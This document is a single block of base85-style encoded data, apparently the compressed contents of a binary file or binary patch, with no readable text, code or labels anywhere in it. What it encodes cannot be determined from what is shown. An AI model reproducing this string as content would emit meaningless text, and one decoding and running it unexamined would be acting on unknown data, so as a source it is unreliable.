z6AR}PE~YpD&xnIXPU)M+sxFjcf8#3vkHpbBKMgKNY!Uzt{X%JZ`74|9c5ldxs8%G> zwlT1S0fkas$f<9x86VS+R)Nw_&abx%pM&&UJ#w^9vN`r$zD%5fG&da$O}V~x1x zL2OS_XTJIhU6RC!ln2_A{}RiIF*nYPZ2~})KmH$uFc`ddXU?1cqGj7VN9VH)QO|uF zSw?@pt~k|#?m&udTwGne)n0G-mqYw3>I_gcS3W*4&cQn^sY2tfZ zDPCWV+C=<<&yhg_gpk3qn7D@jtdU|JWfkAuZ9M&`MOL)b_5m7m+B#w4co$dWm z!=T%b6CLgzSeqi79OC#Sxfqk*WJVXw9MwB3ewsUukNZJg-~`=TDU{0CXO7=gv?GG0 zP1omp`j7Re5{DM-GXRI~K6;duJ4pPC#ELlmdD!8aD5(-yeCEq^rc@L1z093PHdl}>wT3|(LG;IuDCs;AI8~s!xLZW$&mBs zkFZq`L?K=-;mPRP#BkGL1&P?{)4TgK8|JqS2ZV&Ar=^`iZJ?Z7edJaHI67rz0c08Q zxp(o;96!JC^oZFMmRo!esGm_vLr@i4AJU$}$poT-Cm8V2Bk&P5O)@kXoW|(fVo+x3 zG<~yGY*6PfFaKd*U-EnbFC`(IW1UlS@2SXfXObE)GOEWc#XY^fdT*NT>k&?4bo&}0 zOoqst$!Z0^fZMo6AD}B*lM!Q5dF%aDjGKwmM^cyXFD&~Bo2)K$n~{Ab2f)S$e>9;0 zVa@gJGt~X|yTNHE^5H<|>vDyj2YkT({Q}H)tfT?rTb-mlTNk+%!7_o5wQ3b88n_vw z&YFSvDH7E)mu~E~W9kY(<8<5fC_cskK!}Nf?By?UpxkIIr~FLIXw;iBbGw_kCn9v zU}5UH6cPYFPsiygKj^W>4Lr8k8N!%@k^t$*6*yso|a3iO5ka9@HN zmt;Vc}8E-qxfd;bp*Vp^hKScH)w=v2}lp5NmcX^8v+Vb z$|EgZ01y-Zrd_#wVX4KRcWw@JF_Z|{!^wfJpc?N9wfVRB>jHVB@#Kg!Y2Xz^KPGnub+$^DCf!cDK z(*45G;%`D8-vm3;_>}bJc(DB)d0t6UA{@irP)!n`d8rp%aBeGlbHi=7bQ;Z^!8~U` zIdDHLiRFqtor^a)!Z!w*B06riJQaIHdy~e)md^L93nRoRb2;r z%BMfk)dHSm5DyQ08NN3Z>gWc9V%mQF#-Hg?^=9vX_ik}2KT`iUXoDY*h9Q`wW*0uh zYt;#tkIoPJmwb8!JDwCm89K;NV@-G)Lps5QW+V<@ku2J~XsdS=w<80q6v`93b66U$ zkw)mNtna=LkQY~_zsVfre#5-~CFv9o&lvz?tNY}sn3&kBH_{?%p=?zD#BENmOLvYi z@K~?owbVmte6Mg^kRv<66riXGd*(Ew1GRVVG!oBjvQO?4sE}@U z7&RiOP|o}Yd&9!VXoFp;cHz;Adh7Z}Nz(bE($aV?)h2z+@74zrzLhw)k>3w&e!ab! znr90=C3Q{{U7DUFF(}(5=Ib^F8nO}pDf5Pt$|Ciot&ktpj8rz?|5{YK6*VARrg2^& zyd4VQpg#Vgs_AG0YCH3$s-J-clp!dVOfy&f0VFTjSvbxv<1wfDL$%0L7uM|78$jea zU$IW47^Xx#k{RQTqE8!D@pDmGAV>b;v z-IQlDg&3o+>@E8yP*C3#`Y+5`a9Y^NUI7F_txe_0&=dT=zrTq~Z_NMW!*={?3<6N= zCOs4Q^NeP)Cpw`2SW)*r{x7%Q={C!bZbu47#&C?#I3$Q7tGZEY0UsqJ_}aceEXDL3 zqvRxFQtzII+#j$#}9TU$E@%PX)cMeUOmmQXzBN)JMw_J zxyO%=gk>!;n#x3W8XROWM{Xz-x@hu4mV}Yy@Fj&*K*sb$( zbUJY#3>|aUnHXuP`r&>YCNNNFIWSzJVm)lyLgD{NC!8(I+QvqbC#Ct4BsUX1m1@l# z-4{KKN2WJkqMC-#`-N?N0iTDq2*A?X*Kv_bphiTP#)jyXApb*fI7Td}pP6AgE!_gz0 zG_EWz$CeTv;|vF&TEw;PV?}^o__7y>4(=QZQO39yM2-?JnB8yn?fIa01mR^aLX@gq zH%S8YP4Cf=!Z3A2Y>jtCYSs`TTez#&C9z~NomKSezh)iI6qGC7xl3G}>L06mdGHP* z9j(91cL<{rK64zbu@DkZZ5DvS5rQ^~_VOGx2C%v+He>;JuKHzXUx7O3abIiO7h<9jr-ijf{oY;2G2k#W}we)r=%W}u_ z`;V@J{y!^iSBS>sla2GBZ{j~IN=cbWb3-#dW}#>K!+8f)gAlP8%LBiBpkM+Dbw#YnA;#B(qgS7e4q^ z)Y7DGtI_4AY(8`bAZ-2>>S!6T(g;f@1RKNQ{HGPR?D=D|3vrsDu$rNDB0Lx7;@X?2 zt&pHUSpDK_(2N&a_YD83gy(zS4DUI8<7u4f;+$6gwQHRNoL1A#2tDkf`l|wf##Mo2 zPSJ(!BE|VX*jH!vW;VC5=~s$ba+zXfN1WA!QHB|1AG>0iz=O%}Y4=Y&NBU#&=RoQP z=8_ZMfA2y;S}!uTuw3BU&O zm)>m@VySXW9h0@SwE=<&_bL&nplRR3s4g+*67}}lnWGeH%moa!p@%*`auya?P)xFB zy*|d3MDzU_29pkN)-U09ZXPAu0|if>K7H^=aul!US?d$hv+6dVnZt25B{l7c>qg?_ zB|(h^EG&>{k>iC>NQWn@%&R3r9Z5eu?2=rjaD7P7Ij1&yr zR%}2GGUp{RVp(bHKUhV{FVOBdniwOf8}a4cyR65%fIDtc7z-s<6&FqJ%vg@JzEpjT zYdOJ~iIfJ(4wh+&9R_#(GW)2jnyt!d61MLPMH=cFXtj@t!qF03Ns>q^52_-0RTFGJ z+Z{O)qtx^v&7V@@{ydSoyHkkt)Z&p$f!reXg_Eyu?N@`)@7_H`brd~|g`xFn48)C0 z*1Apc(ET=Bwb-_3Qh$vOX7d*Ob#=~1F&ZLN$z$yCdaGwJeTo)|m0AhfNsRC=#Xy;2 z(ENMq5rr{73*XO7hJmJen3U~fg?gKM%U{VkTWl7{d$5nEWr#%NE<+8`D(zjx0K3|G}JrVO{>##~% z?~7L3#0LWO@@i_lj!b+S(RqXqmH|`vBu7{>L>aX5FfZP)PNpb&RsgE5p0and@dI1L@^? zBp{cRBVnhmz|_R%Pespb;8w5(kzunKoL9UN&zg+=m8$UwBdXh1#}0BZv?&;h!{Yf? zab?@XM{T9`mtXF)V(#|QuPnK-CnTdVk$^%Sr?qkkjWJg9?=ac{3&C)cd|)? zjuMo(-7=%s=2ljK2Z0&bah$UhsI1e|{@1Tl`ER^N)%x?*0@nL)Mp^>DU`2b;o}iKN z%lJE!ma5!vK?z%u;a&*JaaO>$!%3eOzR#^&*|^)l{~n$xB~f^wPsM3>89xt>4y}Y9;u+^R}T8+a@2Rg{^#adCIoGbQ^lxy9MBRGR;xp^Np z0+(Adko^>`Nfk@>_q|l38y|tZ27*3OmP}Jg2+UVcxNLNE7?(I+uA~p;RN}W@+&6v3 zZVRDpb&kTY#P@nbFMQI=i*8v%;;(?D-2*J4E;^*LF^BUg*ZQQjc^i`|z#%Ik2#*S4 zU90U1i zc|a~vz#M)DYrc<(S!vGNEb`-lw~Q<5ZSuopu2iz)6cH=ou|l+3dWSXNh6 zMe#C7y7;C>J>SpE!vn&8ImI!IJAw64j>S-X0YyMCFS?3I>-%Wz8`k=F|GLS`3? zlxh6?m?-y8c3Z6o%GXmSY=0J3CSuquXD`y%H=;5eHFXl#r*!vq08j7v9&S|Oh!>t1 zE0s#i{5QtBAjwP<4Y56dRPtw&9#s@yxa=RM^9R;ksd@yNnv`Gq+bUq#$L9aYO4`se zmvWpnC=il6G!R$Y`6B2}bf2{m%6_tfsBHicM31l-=bxadX33i($IEjwfl^(8pBP+R z@VRqirZ7x>UL`Uy`cm>o!U2J_`oljG?%k7vyr^gi>g4Dx#9znI!r-qBt%e+r`)1kC z#rb*CLm&?~HO}s`xeJma@vWi&nJ@AaemxM-At33IIxRmqd@bNIb`7D^H2038P{{9q zTo2ZH8Ttp^Puy47RbE5DdEhJ8h=gA>=A9nigy{Xis|CAAS|rgj;40bOqFhO!-(wyi z_Atp#4n7i-1rKZ(II{8TWS$-W3^`Kl?uyx*Ka3SDJrpgt#4cN76ou4bUOFWIk>DP! z?ihMHF=2)VUV7*(;$-;)9@G|p86Kc1eU5S$S-k-;x4JsBDA#TPN+jTz zjB)x)i2U|3`URbm}~ViuIYa@_4QX@-~EO?0)kCxm0*6ez9RC_xna2}!M4gNuy1U8iBDj;P4a(H9obGR z$E%p|4wG6iSNx<@;qo7Suu3bKfR~PA0`e`5zYh7t)~3nnaaM{#*m9-Sra7{|Q~HWl zQOSQ88agC@u&YV0i#;h~r^|LoK1QHIdh3tM%QyA&3Cy$P{&F&+Vcf6YG#n_nve>OV zQ7Xg1KqiPZt|M0kkm1Xhi=mm3)Oy^=oJwfDf9xI}$8%tF&?f3Zu z?O-*E*>1QxWCP|W8~_oguK|sl$Z_t_joOD0EFOtZon8F+*Fcf3=M(&>xX}l-u!rM& z*dOw<=j0zQF0KG!8D+{yw0Uj2$3kHEcggqg(FZ;tva7o0sDaI+bcSurNXt+>GgmA0 z@~?K^)XR6cWi~(d_9E<5Tz%nVJxqLwE$fJFsNts^7Cj!LOvM6EaYc$6xEL6Xfs2xS zTN*f;gUG z4m2q&FWdO0`?9_~-XS~s5Di;3n6Ezc_fPNNKO#Qdlnm=}lKNQrQOfNTS`nLkw^@lJ zpr!579%wHYa*6jB<$4raB{DMv9|JbKrWVglmH@NU4}AJ`V`%NEg~0M7x;e5V4cb#9 zgxRnQ`Xj!nNQbtQK3#M*t@k~H?Cs~zZ$1B5oe`tph?f?K!9r<^Mv24#cu4s(^Ld;_YLG}L43 zJZORRK86znAVePZF|N))2zFeC$d92cBZ8ZM8FmFJlw6E%y<4NxYEs^ln-!7oljWs0e^ez20!wN#1 zpKp4`0rFja0ouH}H}gi3|JI~5-qeWFf0ct!*7}vIgUg$ihGGfA|TQc{>}Yw{1VGo?w+W z#k+^U^%;GsNTRS0V^cup2R=ZMVO9VAm#2D$|6r2K=B|>|d8nJJOo9H2Zcq4>S|qd# za1h=W7j?j)J+znodf=%tELg@NyvkTHqvKwOT?FM&V1ki*e2W9wLS?@mmM?BTjtzUu zl~htxL^Ys??sBL6%|6k~Me9_P^_k*-5eJYc^GWfE?7yf%9QYBaGs;%JchcVey25Z1 z^~u*cdPyPu@3i*qyE6EqijgFZd*U75c4$+nXv7PP{t3-pu)d`HQpx3cz|)D7v_E%C z`?Ri7eue>;^WVFf%tFsdh@&!?lkZt8Dob-GfBWWj-CPxJ5y(U|8z3_aGL+$>kt54x z!Vq#c1rla%>(LtZWKYx{s*%Jc->auyQVd7w-T8LK#^BIfv`f6g-qL$ZpV^tx-%8^% z84OVq6_ADcZ)|opeTB9jErH$wCtsh*3_oA9RC)h?sidW1J8A3cQ&-S&xVkeVs%vVN zR#tGDU}%A1_qh(R^yzpV-t50*o8}V~=4zooc*gFG}E*GqV4izYWn<(NRgU*cq zFnyXmjKS#cw{?tt;D`N0)Ejo0=O~uEWgYLEUtBa0CL_G(8sFN~&wqa>RkDrngzPZf zG1y=ICrM4w1-%o;w@~`3xHI^M!|~$?g=BCf>7+W`U~NpQHAaXy)(&#~FgQ$%4OqhE zbY}kf_UV+&DhCX0tgZrGuRA+6ju=g`szN+h+mj5ZBPosdcw2*$QM{tp-TJgJKOKyy ztgJ&l5l<}jiLpER5z&Wb<>ft}ePTVHPnWKhyqnQFv3(qh2rhOz5P^;ccoN|(e(|Jg z5A1=Uzu`x;*(3tH3s>sYS&>TC3-}Unk|w$5v`pN>RhdAekx$=!E*^crv?PQJCO}5cxk0d*JLH*<9^02aJrh?h z6yu-dGHvUTV_ET}h=(hs=Ud5tqFtBpJK@f^VL-kHnZ|e_-*z-kT<9g=b?9;jQqnf~ zzB##8<55*WY(Y}eJhHS(zYcK1E$Ew zoTGhyF;SIgmN|VQV*R_6*&{KRHDsJ@Q_oj)ZNaNW?svp!g)|CpN{b=i9hLc!*4>c? zMC$D+VD@}&kG(8@Ig6+|#fHO!&ueS>_V}^%@E3$tYPeGK5KqsHlcse$1D9SIs91#U zXGrG>f8q`3!Gp6w`l)hKc#8V2n`s?hZ9DcjoNjX?uN31RJSpuE|7O3Y=&^7l0NS4H z5xtV0A{s~_nz=xfxL33>{g5(Jkuf-o)kA@jp;sAkQ@D_!(gA3Wqv!+!!+u%ky0NOC#uz%-G;eF2t7 zQO)W1h_He{@gJx4vO&W@?(`?xnSLHlPRe7-(Po3)NL7-I(fev_Xb33g;qwoymg%$R z7^RAc7>x?NFjIVQ5-<*8oVloT>eNq;>*mJiW=BbqbndyfHY1U%bClNGEB-5`PNWz? zd}umF0w(RCNmFa_D}es_J1@=EqY+BvIUYi6TfXdfw0A zBN2FEw+HLF-7j3rl_j1x5`dNihL>#?+!yX zmmQfq)8+fYbX>beKNXMve|&lj?pT%xrXY1L{fT9kwstylHo&WQPP{BEn-v zdH!J=uMKSSGy+WWy*hebS2S5JA7T3(mE9D{;a_!)ERN}4$4fP@wS^`FV1yaB313B- z7vmio#&a`9r=h!rwlHt%g=GYu0grQRZjO23r?KN&xIztt*{x4pSxrlK{o6Lz(|oi` ziEWz8{<-&h3`upIY<=Bo*Pxfi{nEzmJ%^KoET5zrs9g~&GC7_(MXonED9Pm^gHa8D z(}aGqlqg+)W9Gy~Qc9cKJXuei5(cF$-YvSZN1zP%nZbQ(Cl`OVxVqX};aaN+jY1oA zBWAY`PwsC{D7L-Z+R`#NTNOTH$SQaIbksMASTzc>LU+zS@kpw6TU3dpKX#d?3(8%e zJnW*TxL=B)Ut!&klQS711`l5fUSw&E-)ouuSey*K5ve3W3)j{T;^#+&@K-0SlDC&# zM;{x1R~X;5%2QOh|KhS-NDE%1@1-YyT;w$$C0ls4V+o>!J?=Bi-4V9T{>X2DCzn#s z`W}63H;DRJI`D>^_X=Ii(7fQNfY>9gO%3&L`1DN^3I?7A>x1%ySrw{@jiv8LQg^r) z2m48^83%vJoTFRQf|TX4!*k4|0mWDkRm6A5)svK5$aWmfD=;p!YI*-LQT|tLc+hAl z+4^_)TfS7Pn^cDcha4VnZRyqPl~JdNb0q}~Q41FzE4zEw;6o)2gXl93mhaT4|7PjX zZ?eC>b5(dWGy(^-c&2G_uNGR=PJDsXtIp9+YvqBG{xidHH_VFmGy*bD;ZhfVKh zKApct7gsX_BqM1saV569)n22YK2l`5j%}z}BkS5VfCZ2;L&b;B7)HS3_V!}*KY@{( z-fRC{NS$IQXZxpupk$`as#FClip2aV{$P*k2-7fOJr<=ldp(&R_e5J>>i2>Xzj~(? z8%0HKRc%13J2g&^CO$5&o-Dm+@H$YUUbdgcnM6!F*3q(-en1wm9FN z++GOIlKeLILU8~`S^rIniBrD5spyI@yImWKnu;S)-%^Owsyks|_2lnQJLo(tw>xJH zu^nydiqGAuSAiGuX_Sv6&=sLCBpZ0lB~hII|O(nf88W0AZ=0Z$7huS zjkGUZa-UfYUtOZta}rP=P<$In3~KU_=1D=NXxt!^rr2SJR|SKdAGyv|BgDQvSxDI*8bF$i)BA^PW>v-&bWLdBZKhbiTZxz!pkihySqz# zX1S3rD}5R6&7R|Dkn?H7NF_1+K;xgTzWgLqB6uU4|_c&`a+tGgrhtl zS!?^{;_e=k&cdID$TTid8qXZ;k>P)4j^bcCaNq^9vCEurLHtEC{a|9DYduz)^(Dq5 zv8LNP1ED*o5Qx8)S06Gxkd}KKeI?Q24qq<#HVSW2G5AI%c+F=Ue>C}k}YT>g#mfJrCHoU=cRE-3R!ZoH2zV9N{|nFXSsS)MYEk(LVEq z2M&nZLon9dC=-V8Od;z9a3B4`MP!3B(@+HmY+yXi^iF7tf|xNw;sUh8b3y=#kevMA zXPJ%XSn{nTsWKRAxg#tzgOSux=EsrJzDi5XC6pLnWJyXi-BPCW&!EUefufid0DW|` zW&|1NFFo>pYe95}b}M*i+cj}z`qX#RK`DZau{MK#_FZR6Cl3IU3bsUKL&+O2+2N+u z+lOTW+xhY$pYj%vs9e~y(Kx=XE~l%^`h}Fz48EY;)j2>(7gCR+X)V`pnCG=F}WBJfzW$)>cABbB1k?bq0z zdm|J;;JC-r6{hO00UT}rd0@lrZ#X3+63y$lA%$74;3Tal-NJh7SG2Yd6497O-chFK| z*}o_%RUaRV=|i>su7uZ+zZ3IJgsHk05jaG+3{QaQAx+}kC|cieZUoZ6Xq)8k18e~n z(Wiz#9DD+ZOjY2fe!GT^oj?pl(FJoXTH2k3;)FGFiTHJMwB;q8i~U4%#s;v}MORm& z4=M!3ZZrmDZ${nf9%r4okd>Wn*v|@U4^9Qs&jnRNwV$Fc;^rQ^O)@etldUKtukcg` zh4cXooq=eb<kH3~81m3KZ64x}n$4L%cEKc?-grIXPbJ&#pt^dP=CQs@OG}$#7_hJy zM)L{E;ecvFLT70s<)B}gP#AzU0kNCa_(H0x6gL{%@$Ml~Ze(NxF&baKgrQ0TYcPI{ zb-XM1Yd{7gQ!@*O91f1AjvID;$ihhN6o@fl(Ra{dM9q8T`l-yPf+;E4m%~U zEJC9;oJI74L)i?&gn+)ltd{D(Q=x~Fh;7Je63RyD%;=@|oCF5{f*fr;caVEwv{rHN z2;<$~ZS@ut!p;*C80wx1jw#}Rxc9V44rY)R4T^rsWl6zBh`36u#%nkRA(M4%F?HRRb{=&D4tadc1%f+3Hxe54tXCS~KAZU2Ok-&k+ zk}IhV^*NG~9@q=Cx)FBehGfC)U+m&+ZaZd5GW*Z6v_`akYJJwABC zFCFkhT;bY+Cteh&_90f~5Ef3~V0cA%d-%qv6ofjUuE+rvDA+)H%eS|;1eTw`kJ*Vw z;^W7UAnU$uF;zGBto0R%dD?%fItV8SXpogq0R-%@ogM1C<3fA>*QdBHU*w~d@)N0F ztjQHMod2DtV`dlr*1NWq#Y@-a**v==Xof4)1|JA^1Z1APWXFPL`PRp=44z~Tgn?mBzAdWf znXfCox+uaERGzsV(tku_=@C;b#CIOFil?Jo0L(GUJ9>kN!>CR!)p1W-fYN*1y*>AF z=>nC2Y8U1brn00xU2osAb@9~lcd{CefP`*&&**BX(&zTW2X7lWv8rMTaf9eJbBj4O zB$2v9cZVLr8K5KUJJs>Jk@DiYQ9UW7gLo)Mp4+=s?d}hM5kF$gt%Qitv_1Ek_q$KZ z^>J-hk)sUCq$MQW!4Dy37D3P6v_?JAo(HqcZo~E|h}#w=pQT6x3LH0tnjT;mB%h#- zkaCM*u^Wi|s-(L5AdZFBR_gQzI!+?}!5xSVNamC>hA06z66&8TVDoY$o|~FG&Y3sW zyd&|rKrUl#;b^kivnNPG+H6H2;GmzDE8g#%Dd+O*yLb2U)1pBZ0gQxj2Xc}wmZV~WVoP+tFYQ=6zT6G`Yki%ZEshf(Du75KWiOVU zE*U8?|IEfTw8*)mK;hw-1b#khTYLF^2-P!h!63d>Y1nG z+m*SiGepWYFb?QE?sjaHv+WL46LHBup%p^2@399b&_saIV-KJr={dTFClKJ@y}MgN zg8DimQZp787Rb3o>K4G2SfV6i(IrC+-9E0dDOf$Xr6(b&utIdZsxzpGZHjR>bZ~DMQ8{m2E>QySqp32zl zkc$^LV6-`R+I;T8cjc;wwzq6) zKbLLAvxNOesJk-Zs&Jf2;e=%Sgc}mw_ji0Ream^&d}UDSreO;AGR+3 z`nzA)?~2)w)5dJxgY@pTu;KibjSG##AO1W&amTf~alAD5>09q)o$i^B&zv5JaHO-&6VrFTh4NN_VD+O_R#kh_~3^0cq+ zab|lf=BS5lKDKtJ!p5sH)}M!@EOHCtzaf7rIAJ&m?%Q{J@2x#GBrTP+he|~Y(H>NahR~zE_Y@l1sSqkj zk@mD2q%ztmgd*+nJMZ`R{_(uW;fU`0`~7^babD+nUM+{1f9TuW^IwWtvzxgN<5VJ+ zvOh`9pN*ZKOC@#kc*UMYe&SEX4Np?FRn*|;p~(*l-96z|?B?_Z(xJ20uAx7Eo}SKp zFM0m60lPIc?TH-wTTl81x96LrpG#7sRZllw6{+N}OC1^_hN9gCjcPe{JPjpWD^#5W# zn*rqvh;IvDU*!*UofASyhH?Nf3p6(KAP`{lSai#gF-N>_;FK7Tsl!AScTr4K+DDQt zd&)%l%0<@VuCZ`0?7P*lcrpEQ)O0&k#bVORc+VErl2Zj=UvmY)G3sKAP-_;H{b?;! z#^b`)7FJeK=h6{glH=nE`?#@-us(4-LU~c#(8|ceX~vT0#q!MxCH8yHh`oJzUEIxqcRi6f17RlsuJ60N z`8Ad(RXnG;zy!g+mOsK&Hs}Kx9`5d1A9!evvEH?K95CIbsf^P!#4+gd zxH|85xrvc`vKPomh>uYMjH;wzvhcubyyKy;>BBYn2SIUiQf5IZMo<$VSs#3>eGWbs!3X0?&9JaNIP&XvHlDDxG-F%d(v@rl9Els@>gzN`1Q&qUrmJOfl60E%dBR!@k_w!#$c69U z;o-iCp~m8(kJpq+eR3YDLv0gS0H_LrgM)FRe2aySaTfGpZA(#PBw^b)mVgEY2dA@V zV8hwFckK=KMn>N-`2|4??%UST!R=$wpXk6mAXA)s#>l+u^`G4UNo0ZYEQN!y7obVs zvnM_^)oqF5i<*uq)A2wA>42jM;3OLv{U`Gfq{-v&9=j~yVw1leCj6wpor-s99WCOk z_{A7B=c(Pf*dt+Yiva$_prHEiPa6bgQ10gbu0xfNy$Bd^Lo@>%FA>NaGcD~+s@piH zSosj@?miElFEkqBETdX=47~Bx>SkT}!Fv;^9~U?^JD&;f;;ej>?WmY6`7$#jBSQ2b zMKcQK(o#K97F724i;A3z%dZD`vhjO(dmAKKoj(1amqzp(g9-9U{;oQrG^T!v%Fc9} z*g}tmq8PW1lT>zbXq7;^DI^#=rIyO*g=74h^e)i zna^|q4<;db2szN&#>W#NRjghEa05aM0`?jt3v1a3T1osvv|5c3rI(w;>cce!czL1o zAR8;WPIC03d9#TK(KTJzDa0^Oz-om|o9lZ&8C@NCvl<0Z3cx9r&<$8x>L#m=IFCqv zXdUQN$+s-|3yWINN&##-o&(S4{m>9dUoImsyA?cD44bMeKhH4j+l=6OWkWdXGD^ zs?$p4rfDm|=moJ@ijTLju5M+exef)kdgzXA#6tL&Cm4_%UZ)%i}bj=H=!-gDoZ;Js{D1TYSYq+*%D^WM36tY&O5= znH6>Y((f_##n1g8^dbWP?k8=tM{>NINScy19K ztge0fiU9yntgPn4zG_KHh`2c3cftY0KwXjAd+UDd5(g(|Ndq{)xAXJIfFVl$S;VXz z-vyjtjQVz9rh!VgyBQ`Aup7VU`R>C9tZ4jiWg$B{x)aO@3r!x?dFGm6usb2AJ!^xf z-#>Wkr{1CKOBBCKA3aJ9yN<11Jj7k0sMc^U#0TSeHf`UfU{`d^_dvk@GPh{|Sf4t@ z*(E@G9xeLfP*xzyjLt(BGgLDRRu$j5u&TdWEO!DgZQ+2ADH^fGm6f->z1pQIAMJ#U zRm^?7zV}T2Sm;jq@cQ7(A=FXrbA_5D<|6%*KhSsd_y&FZXVmx+9+$(-OMUdV1$9JG zRsBSXY&RsY_S(}IlusDJlHdwuMWM;?=GjN@K7D#My#ywoqKb+k%O#b@)J`7Dtrf|T z8U({2>ND@d)6qTav?qzE5Rs>Hov>s)^rh<6*tMy%=A6`?C@j$p6|!$3D*E zZFYh@M^aHq39tIo=;*ikc{4dGVhXnS_QU4BG^yRBXRWZv;q>V}TfFk9_6a;J@RQD- zt)*=H)ZM3NWoBW4^}0ZD;nauCS%nN)Yv)lJom7kumT5HOm4SyMZ1`SYOG0wS*r3R$ z8@+yjT0V>!YEEGi2^bl#3awyPR3VG$(uCTU2iHAG_?ym?ob&SfjJP;G?c(iSfCdT+ zO*1m4=H~Eq3h}C-lxb^|_RQ3&(VN8r#nBgm%15&#&Goq%*3?qF52LAk6rmg^EjN%n zd1B`WJ*)mM<5(6)WEs8ujTu=)h0UGqKrFbgIxG0RbCRrBsNct@U&xPvbnI>Noi9_-#D()U0)O@Ar z0j9s|>gY&3+}R)C;y24grFJbKpyKXbr;>6K88$X8qU-y2GSbuKl$7itYR1;6L;GCS zM+`fy+ugzxyG|B9E`wt|=l~dnC@U(aU3p{uWvg{|v-qt?Q!@FoSlcr8gC}MJoc#H26 zm4svkgLX2K@TR666uu*J#Cu0;JqVi(_4PZ!uk|HQS|oUXeo_$dHu-&RedULV;z`SD z@Aa|lb7n?2GBPYcShudr3PfL2n0cwewpQ@=71PG-bC&-Nv#M_nJ4b!16_7V<4y$&F zcv#8HFo*3rM9GFvkbB_#!+LV-`wvpb!VF`3`yC(*fjefE7P(`?$mQRiO(^AdO~Ots8WmP* znmV@>07#sR1_&S!b1axE9QdTSUA|ZTvrtM1F8r^bKMA`ew3rTt!Gj@Y?H>9e@D0M> z06JS*n@@~Vz?=USK~9T6$|++@CBKDxjkl#e)P4h!KWo2g{O3+2YWEefe5!wlb$IE#CoP8yJui z78X8mfU(zEPn!8j7#pcn&xp)r)}grc2*v&dkYSKI41_q&ABiHEWj%)5+g<)(<}5O2 zxq}Dw4g5YM*7X7`y-UyfQLM!SQ$;K-s)(u&PRpFe0rrS%VTref4%+Nv$q0`#JVyyB_)I{V^r=E`}T=EHwe)>b4C>+ zVmtTdRsK~Z-)j?TVSOF}+EkgT2IE4tgVwiFTIe!?_6aA889y+HYvyr7yL!l@~ zMt)e^EZ~VCD?#GhaiLIw^I{iZgwfGM0FK}eN2W}*N9Vy+;YOi>r(a&aJdeowp4pKt z4GK!$l5O@ij&ZPYQ-<{>C>gWT(kkt6m>_Qea&vvJa$X-_QM}rtvs?Bf7xlGLAY>z9`B?C>)=SCRLgce<=pwv za%%aY>)UDC8{|oRte~pt3LtZNTv~hQ1MK!-GNk=mH-EfaV*Ml>&1@z}I%#lk>Q)O6 zp>(*g1P>pV=b22Z`Sv1>#Ey|4MkbQOD*qul_-C(oeG1swYQWxNHEMruJonMk2Oz8a z`QhFgOp@*)A{{zcvnyI8s`RjWqdGvcZP#;|xV{DuACM;uVlRwTh5Inq9Ky3lz=fz1 zt@tupB7_mFN!mNmQnVR6J2O-0Als>qln0P_=f=2vdVHrdrs!5b1nJ-R_b>jLHD>EE z`<)NM!{?^p!%|YTkLKo3ylB)J`)rPG zCo!jU#duuX+YH91%#}pY8jaSDTdHeQgnFl>0!X z-~WO1++L3ZkHx%BoH&7>?>8rlCbc0Nq*=>;<|%Y!>CS5VF>31Dku{cx2A^M#xCf!A z)X|B+;sU+=*}z6iTY64PO>N8?`{u3($;7tzzI{t!y;1B|-a~3#4@<$GzTzPE^dPD9 z5m5cXrs1)4_DB39q@?I3*(?P00Ds}AUJp% zLR&PSP@3&(1g#OW4hWYpX+lh6629)kz!i%E8m+L%lc*Pm0X|@Or24aR<-OI|!4@sp zQokr0_zm}bK!1=l`=Bet3&JOfZy~y7p1vb$uTy-A!C7+c8Q==5W$=v5S~(Bj+r7KJ zbpL`>;LFepYNI5=H`$hPkv|_=BsZIW8gig=;85azB`4!=fYtHd0b0Sn7NP8b-LqPJ zY_ja(2R5;Ehcgzox3}Z?-(6Wx{(WldGW0B2?US(FKAySZ*7s2p+NE@Wz2JiHXNgDI zNlbz1I??sA01CI%7l?*t3$1&BMMSNz$|Ccii*-`YthnpuZ8CK?-T+=ZE6AB338L44 z?^PM#pc~q(U&Nn>r<@2nYaZKC_4pwpZ#=44LYEa4g{~VgHHL#|+{uB_$Hs!xfzOW- z35tnYIA71^VTOqzrVyp}nb0+HpFpb1CbM?a!Gx|=7GLfC;GiEcXs~8(!hl6ze|>EY zw)}V}5c1u-d-od}GKoB0{rISKTPYSdLvv<-N)gToAqkH9p!FKPx4wJVx*P_Of4GD$ zeYa7p<5*~}DluJtxI2-Y?c#p>%@u9W z?0H~lWOQNI^YD}Xxi1eI`ETRHX2#;si|tPY{zg#$eUZ4*0$}sx4&T$|M*)$uj93*d zNTo2aRz;i~s?V2szGy#J^y@Vl7BB7lcd;uTG?}R>XEIg1ee9@5NUl!kPMS=xQ}GkS59fCX>~OAhf2+|9AdT@j;$$Kn>l-}L*YxhU z=Xjj5M6RaYszR^EKfBekY_G*nSgwLx1JLjpfF?i-r-gZIS1~RSfC0&GhK>-1STKL| z_j6;h!^9b*qj!pmCT)J1PT7HXg#`Rx#%gqO61Pt9@YR?0tS;6kPb$$+g98Keiz418 z$JPiC@cpB*Umlc80+~g^O(a^YXGeEm{?W^@GuF%KNZ$6;h(6H|66NV}(cWU^K z|1VITH!qJ6YohGR>X8V2Iq9PW&!sJo0H9tSGaZJ%Mjwmg+ErCCsd}(oXh}J4IwZss z(HwCt^4`7kfSUG8#H(NYe0xBzPo_G3`^Q6rTfrzbL6vxOCq9Pl5&vqu3I*Sj3YjuA z*_{n*vn_5Stq*-yZI`3Kb|KJVah|F@_kqqMC58Q)#(;^i+63MXXwc3^@=Mp~q!C|b zsG)zE2jtc4oV=o?#(7RN0*iDfDVK! zgJQLfl$K4WOnl85uvLq8$KT~8jbuEd+&y|G<Tpi)wD zO(Wz%A_`c|$I{DcWlsIgBR7ftPObbKc5vcy!qZ8+ST?o?(JV;AL0h}EtLrN|1cVE= z)HVSIIy%F(BaPZ=#^Dk28c2RMKLipOnu#H997Fo>&L$Jt-%P26_p z9qB_Of<6s8WJMvNNw5yE4;&xy5}@r(FElhOOH0&@j7UpgA<+Y=-B3?Zhl;9IdxP|E zT2r38Xq=tm!Gm9*?~{<|`S9Tie5*QCYU=73sHuCgat*v~G&4=)rw9!cx;%(#|1vhI}W9IvcBMq;&}D)WtDyZp;^YUwey>i$~#=1 z{v-)0DH^ajevnuFH|p|PFqtEM&-yi>Fm|%B-Cm&F=uD#6!pt8K3t_gPDcC@! z^o7DrJ2X^tg%cD>j&J}^NVVR(o|~T=E)lQy3nJ&RtB~0ZVKsw3J-tVP{`>^xG<~Bb zjlW3~zhI=MZhaP)kifm8NGQU= 